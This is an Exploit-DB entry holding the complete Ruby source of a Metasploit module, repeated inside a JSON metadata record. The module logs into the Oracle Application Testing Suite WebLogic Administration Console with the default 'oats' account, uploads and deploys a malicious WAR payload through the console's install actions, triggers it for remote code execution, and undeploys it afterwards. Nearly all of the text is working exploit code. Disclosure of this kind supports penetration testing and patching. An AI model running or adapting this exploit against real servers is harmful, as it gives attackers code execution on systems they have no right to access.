Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit)
2019-05-29T00:00:00
ID EDB-ID:46942 Type exploitdb Reporter Exploit-DB Modified 2019-05-29T00:00:00
Description
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Application Testing Suite WebLogic Server Administration Console War Deployment',
'Description' => %q{
This module abuses a feature in WebLogic Server's Administration Console to install
a malicious Java application in order to gain remote code execution. Authentication
is required, however by default, Oracle ships with a "oats" account that you could
log in with, which grants you administrator access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Steven Seeley', # Used the trick and told me about it
'sinn3r' # Metasploit module
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'WebLogic Server Administration Console 12 or prior', { } ]
],
'References' =>
[
# The CVE description matches what this exploit is doing, but it was for version
# 9.0 and 9.1. We are not super sure whether this is the right CVE or not.
# ['CVE', '2007-2699']
],
'DefaultOptions' =>
{
'RPORT' => 8088
},
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Privileged' => false,
'DisclosureDate' => 'Mar 13 2019',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
OptString.new('OATSUSERNAME', [true, 'The username for the admin console', 'oats']),
OptString.new('OATSPASSWORD', [true, 'The password for the admin console'])
])
register_advanced_options(
[
OptString.new('DefaultOatsPath', [true, 'The default path for OracleATS', 'C:\\OracleATS'])
])
end
class LoginSpec
attr_accessor :admin_console_session
end
def login_spec
@login_spec ||= LoginSpec.new
end
class OatsWarPayload < MetasploitModule
attr_reader :name
attr_reader :war
def initialize(payload)
@name = [Faker::App.name, Rex::Text.rand_name].sample
@war = payload.encoded_war(app_name: name).to_s
end
end
def default_oats_path
datastore['DefaultOatsPath']
end
def war_payload
@war_payload ||= OatsWarPayload.new(payload)
end
def set_frsc
value = get_deploy_frsc
@frsc = value
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
})
if res && res.body.include?('Oracle WebLogic Server Administration Console')
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def set_admin_console_session(res)
cookie = res.get_cookies
admin_console_session = cookie.scan(/ADMINCONSOLESESSION=(.+);/).flatten.first
vprint_status("Token for console session is: #{admin_console_session}")
login_spec.admin_console_session = admin_console_session
end
def is_logged_in?(res)
html = res.get_html_document
a_element = html.at('a')
if a_element.respond_to?(:attributes) && a_element.attributes['href']
link = a_element.attributes['href'].value
return URI(link).request_uri == '/console'
end
false
end
def do_login
uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})
fail_with(Failure::Unknown, 'No response from server') unless res
set_admin_console_session(res)
uri = normalize_uri(target_uri.path, 'console', 'j_security_check')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_post' =>
{
'j_username' => datastore['OATSUSERNAME'],
'j_password' => datastore['OATSPASSWORD'],
'j_character_encoding' => 'UTF-8'
}
})
fail_with(Failure::Unknown, 'No response while trying to log in') unless res
fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)
store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])
set_admin_console_session(res)
end
def get_deploy_frsc
# First we are just going through the pages in a specific order to get the FRSC value
# we need to prepare uploading the WAR file.
res = nil
requests =
[
{ path: 'console/', vars: {} },
{ path: 'console/console.portal', vars: {'_nfpb'=>"true"} },
{ path: 'console/console.portal', vars: {'_nfpb'=>"true", '_pageLabel' => 'HomePage1'} }
]
requests.each do |req|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, req[:path]),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' => req[:vars]
})
fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res
end
html = res.get_html_document
hidden_input = html.at('input[@name="ChangeManagerPortletfrsc"]')
frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil
frsc_attr ? frsc_attr.value : ''
end
def do_select_upload_action
action = '/com/bea/console/actions/app/install/selectUploadApp'
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, 'oats\\servers\\AdminServer\\upload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletselectedAppPath' => app_path,
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
end
def do_upload_app_action
action = '/com/bea/console/actions/app/install/uploadApp'
ctype = 'application/octet-stream'
app_cname = 'AppApplicationInstallPortletuploadAppPath'
plan_cname = 'AppApplicationInstallPortletuploadPlanPath'
frsc_cname = 'AppApplicationInstallPortletfrsc'
war = war_payload.war
war_name = war_payload.name
post_data = Rex::MIME::Message.new
post_data.add_part(war, ctype, 'binary', "form-data; name=\"#{app_cname}\"; filename=\"#{war_name}.war\"")
post_data.add_part('', ctype, nil, "form-data; name=\"#{plan_cname}\"; filename=\"\"")
post_data.add_part(frsc, nil, nil, "form-data; name=\"#{frsc_cname}\"")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
end
def do_app_select_action
action = '/com/bea/console/actions/app/install/appSelected'
war_name = war_payload.name
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, "oats\\servers\\AdminServer\\upload\\#{war_name}.war")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletselectedAppPath' => app_path,
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
end
def do_style_select_action
action = '/com/bea/console/actions/app/install/targetStyleSelected'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortlettargetStyle' => 'Application',
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
end
def do_finish_action
action = '/com/bea/console/actions/app/install/finish'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationInstallPortlet_actionOverride' => action
},
'vars_post' =>
{
'AppApplicationInstallPortletname' => war_payload.name,
'AppApplicationInstallPortletsecurityModel' => 'DDOnly',
'AppApplicationInstallPortletstagingStyle' => 'Default',
'AppApplicationInstallPortletplanStagingStyle' => 'Default',
'AppApplicationInstallPortletfrsc' => frsc
}
})
fail_with(Failure::Unknown, "No response from #{action}") unless res
print_response_message(res)
# 302 is a good enough indicator of a successful upload, otherwise
# the server would actually return a 200 with an error message.
res.code == 302
end
def print_response_message(res)
html = res.get_html_document
message_div = html.at('div[@class="message"]')
if message_div
msg = message_div.at('span').text
print_status("Server replies: #{msg.inspect}")
end
end
def deploy_war
set_frsc
print_status("FRSC value: #{frsc}")
do_select_upload_action
do_upload_app_action
do_app_select_action
do_style_select_action
do_finish_action
end
def goto_war(name)
print_good("Operation \"#{name}\" is a go!")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, name)
})
print_status("Code #{res.code} on \"#{name}\" request") if res
end
def undeploy_war
war_name = war_payload.name
handle = 'com.bea.console.handles.JMXHandle("com.bea:Name=oats,Type=Domain")'
contents = %Q|com.bea.console.handles.AppDeploymentHandle("com.bea:Name=#{war_name},Type=AppDeployment")|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
'vars_get' =>
{
'AppApplicationUninstallPortletreturnTo' => 'AppDeploymentsControlPage',
'AppDeploymentsControlPortlethandle' => handle
},
'vars_post' =>
{
# For some reason, the value given to the server is escapped twice.
# The Metasploit API should do it at least once.
'AppApplicationUninstallPortletchosenContents' => CGI.escape(contents),
'_pageLabel' => 'AppApplicationUninstallPage',
'_nfpb' => 'true',
'AppApplicationUninstallPortletfrsc' => frsc
}
})
if res && res.code == 302
print_good("Successfully undeployed #{war_name}.war")
else
print_warning("Unable to successfully undeploy #{war_name}.war")
print_warning('You may want to do so manually.')
end
end
def cleanup
undeploy_war if is_cleanup_ready
super
end
def setup
@is_cleanup_ready = false
super
end
def exploit
unless check == Exploit::CheckCode::Detected
print_status('Target does not have the login page we are looking for.')
return
end
do_login
print_good("Logged in as #{datastore['OATSUSERNAME']}:#{datastore['OATSPASSWORD']}")
print_status("Ready for war. Codename \"#{war_payload.name}\" at #{war_payload.war.length} bytes")
result = deploy_war
if result
@is_cleanup_ready = true
goto_war(war_payload.name)
end
end
attr_reader :frsc
attr_reader :is_cleanup_ready
end
{"id": "EDB-ID:46942", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit)", "description": "", "published": "2019-05-29T00:00:00", "modified": "2019-05-29T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/46942", "reporter": "Exploit-DB", "references": [], "cvelist": [], "lastseen": "2019-05-29T12:27:54", "viewCount": 169, "enchantments": {"score": {"value": 0.0, "vector": "NONE", "modified": "2019-05-29T12:27:54", "rev": 2}, "dependencies": {"references": [], "modified": "2019-05-29T12:27:54", "rev": 2}, "vulnersScore": 0.0}, "sourceHref": "https://www.exploit-db.com/download/46942", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Auxiliary::Report\r\n\r\n def initialize(info={})\r\n super(update_info(info,\r\n 'Name' => 'Oracle Application Testing Suite WebLogic Server Administration Console War Deployment',\r\n 'Description' => %q{\r\n This module abuses a feature in WebLogic Server's Administration Console to install\r\n a malicious Java application in order to gain remote code execution. Authentication\r\n is required, however by default, Oracle ships with a \"oats\" account that you could\r\n log in with, which grants you administrator access.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Steven Seeley', # Used the trick and told me about it\r\n 'sinn3r' # Metasploit module\r\n ],\r\n 'Platform' => 'java',\r\n 'Arch' => ARCH_JAVA,\r\n 'Targets' =>\r\n [\r\n [ 'WebLogic Server Administration Console 12 or prior', { } ]\r\n ],\r\n 'References' =>\r\n [\r\n # The CVE description matches what this exploit is doing, but it was for version\r\n # 9.0 and 9.1. We are not super sure whether this is the right CVE or not.\r\n # ['CVE', '2007-2699']\r\n ],\r\n 'DefaultOptions' =>\r\n {\r\n 'RPORT' => 8088\r\n },\r\n 'Notes' =>\r\n {\r\n 'SideEffects' => [ IOC_IN_LOGS ],\r\n 'Reliability' => [ REPEATABLE_SESSION ],\r\n 'Stability' => [ CRASH_SAFE ]\r\n },\r\n 'Privileged' => false,\r\n 'DisclosureDate' => 'Mar 13 2019',\r\n 'DefaultTarget' => 0))\r\n\r\n register_options(\r\n [\r\n OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),\r\n OptString.new('OATSUSERNAME', [true, 'The username for the admin console', 'oats']),\r\n OptString.new('OATSPASSWORD', [true, 'The password for the admin console'])\r\n ])\r\n\r\n register_advanced_options(\r\n [\r\n OptString.new('DefaultOatsPath', [true, 'The default path for OracleATS', 'C:\\\\OracleATS'])\r\n ])\r\n end\r\n\r\n class LoginSpec\r\n attr_accessor :admin_console_session\r\n end\r\n\r\n def login_spec\r\n @login_spec ||= LoginSpec.new\r\n end\r\n\r\n class OatsWarPayload < MetasploitModule\r\n attr_reader :name\r\n attr_reader :war\r\n\r\n def initialize(payload)\r\n @name = [Faker::App.name, Rex::Text.rand_name].sample\r\n @war = payload.encoded_war(app_name: name).to_s\r\n end\r\n end\r\n\r\n def default_oats_path\r\n datastore['DefaultOatsPath']\r\n end\r\n\r\n def war_payload\r\n @war_payload ||= OatsWarPayload.new(payload)\r\n end\r\n\r\n def set_frsc\r\n value = get_deploy_frsc\r\n @frsc = value\r\n end\r\n\r\n def check\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')\r\n })\r\n\r\n if res && res.body.include?('Oracle WebLogic Server Administration Console')\r\n return Exploit::CheckCode::Detected\r\n end\r\n\r\n Exploit::CheckCode::Safe\r\n end\r\n\r\n def set_admin_console_session(res)\r\n cookie = res.get_cookies\r\n admin_console_session = cookie.scan(/ADMINCONSOLESESSION=(.+);/).flatten.first\r\n vprint_status(\"Token for console session is: #{admin_console_session}\")\r\n login_spec.admin_console_session = admin_console_session\r\n end\r\n\r\n def is_logged_in?(res)\r\n html = res.get_html_document\r\n a_element = html.at('a')\r\n if a_element.respond_to?(:attributes) && a_element.attributes['href']\r\n link = a_element.attributes['href'].value\r\n return URI(link).request_uri == '/console'\r\n end\r\n\r\n false\r\n end\r\n\r\n def do_login\r\n uri = normalize_uri(target_uri.path, 'console', 'login', 'LoginForm.jsp')\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => uri\r\n })\r\n\r\n fail_with(Failure::Unknown, 'No response from server') unless res\r\n set_admin_console_session(res)\r\n\r\n uri = normalize_uri(target_uri.path, 'console', 'j_security_check')\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => uri,\r\n 'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\r\n 'vars_post' =>\r\n {\r\n 'j_username' => datastore['OATSUSERNAME'],\r\n 'j_password' => datastore['OATSPASSWORD'],\r\n 'j_character_encoding' => 'UTF-8'\r\n }\r\n })\r\n\r\n fail_with(Failure::Unknown, 'No response while trying to log in') unless res\r\n fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)\r\n store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])\r\n set_admin_console_session(res)\r\n end\r\n\r\n def get_deploy_frsc\r\n # First we are just going through the pages in a specific order to get the FRSC value\r\n # we need to prepare uploading the WAR file.\r\n res = nil\r\n requests =\r\n [\r\n { path: 'console/', vars: {} },\r\n { path: 'console/console.portal', vars: {'_nfpb'=>\"true\"} },\r\n { path: 'console/console.portal', vars: {'_nfpb'=>\"true\", '_pageLabel' => 'HomePage1'} }\r\n ]\r\n\r\n requests.each do |req|\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, req[:path]),\r\n 'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\r\n 'vars_get' => req[:vars]\r\n })\r\n\r\n fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res\r\n end\r\n\r\n html = res.get_html_document\r\n hidden_input = html.at('input[@name=\"ChangeManagerPortletfrsc\"]')\r\n frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil\r\n frsc_attr ? frsc_attr.value : ''\r\n end\r\n\r\n def do_select_upload_action\r\n action = '/com/bea/console/actions/app/install/selectUploadApp'\r\n app_path = Rex::FileUtils.normalize_win_path(default_oats_path, 'oats\\\\servers\\\\AdminServer\\\\upload')\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),\r\n 'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\r\n 'vars_get' =>\r\n {\r\n 'AppApplicationInstallPortlet_actionOverride' => action\r\n },\r\n 'vars_post' =>\r\n {\r\n 'AppApplicationInstallPortletselectedAppPath' => app_path,\r\n 'AppApplicationInstallPortletfrsc' => frsc\r\n }\r\n })\r\n\r\n fail_with(Failure::Unknown, \"No response from #{action}\") unless res\r\n end\r\n\r\n def do_upload_app_action\r\n action = '/com/bea/console/actions/app/install/uploadApp'\r\n ctype = 'application/octet-stream'\r\n app_cname = 'AppApplicationInstallPortletuploadAppPath'\r\n plan_cname = 'AppApplicationInstallPortletuploadPlanPath'\r\n frsc_cname = 'AppApplicationInstallPortletfrsc'\r\n war = war_payload.war\r\n war_name = war_payload.name\r\n post_data = Rex::MIME::Message.new\r\n post_data.add_part(war, ctype, 'binary', \"form-data; name=\\\"#{app_cname}\\\"; filename=\\\"#{war_name}.war\\\"\")\r\n post_data.add_part('', ctype, nil, \"form-data; name=\\\"#{plan_cname}\\\"; filename=\\\"\\\"\")\r\n post_data.add_part(frsc, nil, nil, \"form-data; name=\\\"#{frsc_cname}\\\"\")\r\n\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),\r\n 'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\r\n 'vars_get' =>\r\n {\r\n 'AppApplicationInstallPortlet_actionOverride' => action\r\n },\r\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\r\n 'data' => post_data.to_s\r\n })\r\n\r\n fail_with(Failure::Unknown, \"No response from #{action}\") unless res\r\n print_response_message(res)\r\n end\r\n\r\n def do_app_select_action\r\n action = '/com/bea/console/actions/app/install/appSelected'\r\n war_name = war_payload.name\r\n app_path = Rex::FileUtils.normalize_win_path(default_oats_path, \"oats\\\\servers\\\\AdminServer\\\\upload\\\\#{war_name}.war\")\r\n\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),\r\n 'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\r\n 'vars_get' =>\r\n {\r\n 'AppApplicationInstallPortlet_actionOverride' => action\r\n },\r\n 'vars_post' =>\r\n {\r\n 'AppApplicationInstallPortletselectedAppPath' => app_path,\r\n 'AppApplicationInstallPortletfrsc' => frsc\r\n }\r\n })\r\n\r\n fail_with(Failure::Unknown, \"No response from #{action}\") unless res\r\n print_response_message(res)\r\n end\r\n\r\n def do_style_select_action\r\n action = '/com/bea/console/actions/app/install/targetStyleSelected'\r\n\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),\r\n 'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\r\n 'vars_get' =>\r\n {\r\n 'AppApplicationInstallPortlet_actionOverride' => action\r\n },\r\n 'vars_post' =>\r\n {\r\n 'AppApplicationInstallPortlettargetStyle' => 'Application',\r\n 'AppApplicationInstallPortletfrsc' => frsc\r\n }\r\n })\r\n\r\n fail_with(Failure::Unknown, \"No response from #{action}\") unless res\r\n end\r\n\r\n def do_finish_action\r\n action = '/com/bea/console/actions/app/install/finish'\r\n\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),\r\n 'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\r\n 'vars_get' =>\r\n {\r\n 'AppApplicationInstallPortlet_actionOverride' => action\r\n },\r\n 'vars_post' =>\r\n {\r\n 'AppApplicationInstallPortletname' => war_payload.name,\r\n 'AppApplicationInstallPortletsecurityModel' => 'DDOnly',\r\n 'AppApplicationInstallPortletstagingStyle' => 'Default',\r\n 'AppApplicationInstallPortletplanStagingStyle' => 'Default',\r\n 'AppApplicationInstallPortletfrsc' => frsc\r\n }\r\n })\r\n\r\n fail_with(Failure::Unknown, \"No response from #{action}\") unless res\r\n print_response_message(res)\r\n\r\n # 302 is a good enough indicator of a successful upload, otherwise\r\n # the server would actually return a 200 with an error message.\r\n res.code == 302\r\n end\r\n\r\n def print_response_message(res)\r\n html = res.get_html_document\r\n message_div = html.at('div[@class=\"message\"]')\r\n if message_div\r\n msg = message_div.at('span').text\r\n print_status(\"Server replies: #{msg.inspect}\")\r\n end\r\n end\r\n\r\n def deploy_war\r\n set_frsc\r\n print_status(\"FRSC value: #{frsc}\")\r\n do_select_upload_action\r\n do_upload_app_action\r\n do_app_select_action\r\n do_style_select_action\r\n do_finish_action\r\n end\r\n\r\n def goto_war(name)\r\n print_good(\"Operation \\\"#{name}\\\" is a go!\")\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, name)\r\n })\r\n\r\n print_status(\"Code #{res.code} on \\\"#{name}\\\" request\") if res\r\n end\r\n\r\n def undeploy_war\r\n war_name = war_payload.name\r\n handle = 'com.bea.console.handles.JMXHandle(\"com.bea:Name=oats,Type=Domain\")'\r\n contents = %Q|com.bea.console.handles.AppDeploymentHandle(\"com.bea:Name=#{war_name},Type=AppDeployment\")|\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),\r\n 'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\r\n 'vars_get' =>\r\n {\r\n 'AppApplicationUninstallPortletreturnTo' => 'AppDeploymentsControlPage',\r\n 'AppDeploymentsControlPortlethandle' => handle\r\n },\r\n 'vars_post' =>\r\n {\r\n # For some reason, the value given to the server is escapped twice.\r\n # The Metasploit API should do it at least once.\r\n 'AppApplicationUninstallPortletchosenContents' => CGI.escape(contents),\r\n '_pageLabel' => 'AppApplicationUninstallPage',\r\n '_nfpb' => 'true',\r\n 'AppApplicationUninstallPortletfrsc' => frsc\r\n }\r\n })\r\n\r\n if res && res.code == 302\r\n print_good(\"Successfully undeployed #{war_name}.war\")\r\n else\r\n print_warning(\"Unable to successfully undeploy #{war_name}.war\")\r\n print_warning('You may want to do so manually.')\r\n end\r\n end\r\n\r\n def cleanup\r\n undeploy_war if is_cleanup_ready\r\n super\r\n end\r\n\r\n def setup\r\n @is_cleanup_ready = false\r\n super\r\n end\r\n\r\n def exploit\r\n unless check == Exploit::CheckCode::Detected\r\n print_status('Target does not have the login page we are looking for.')\r\n return\r\n end\r\n\r\n do_login\r\n print_good(\"Logged in as #{datastore['OATSUSERNAME']}:#{datastore['OATSPASSWORD']}\")\r\n print_status(\"Ready for war. Codename \\\"#{war_payload.name}\\\" at #{war_payload.war.length} bytes\")\r\n result = deploy_war\r\n if result\r\n @is_cleanup_ready = true\r\n goto_war(war_payload.name)\r\n end\r\n end\r\n\r\n attr_reader :frsc\r\n attr_reader :is_cleanup_ready\r\nend", "osvdbidlist": []}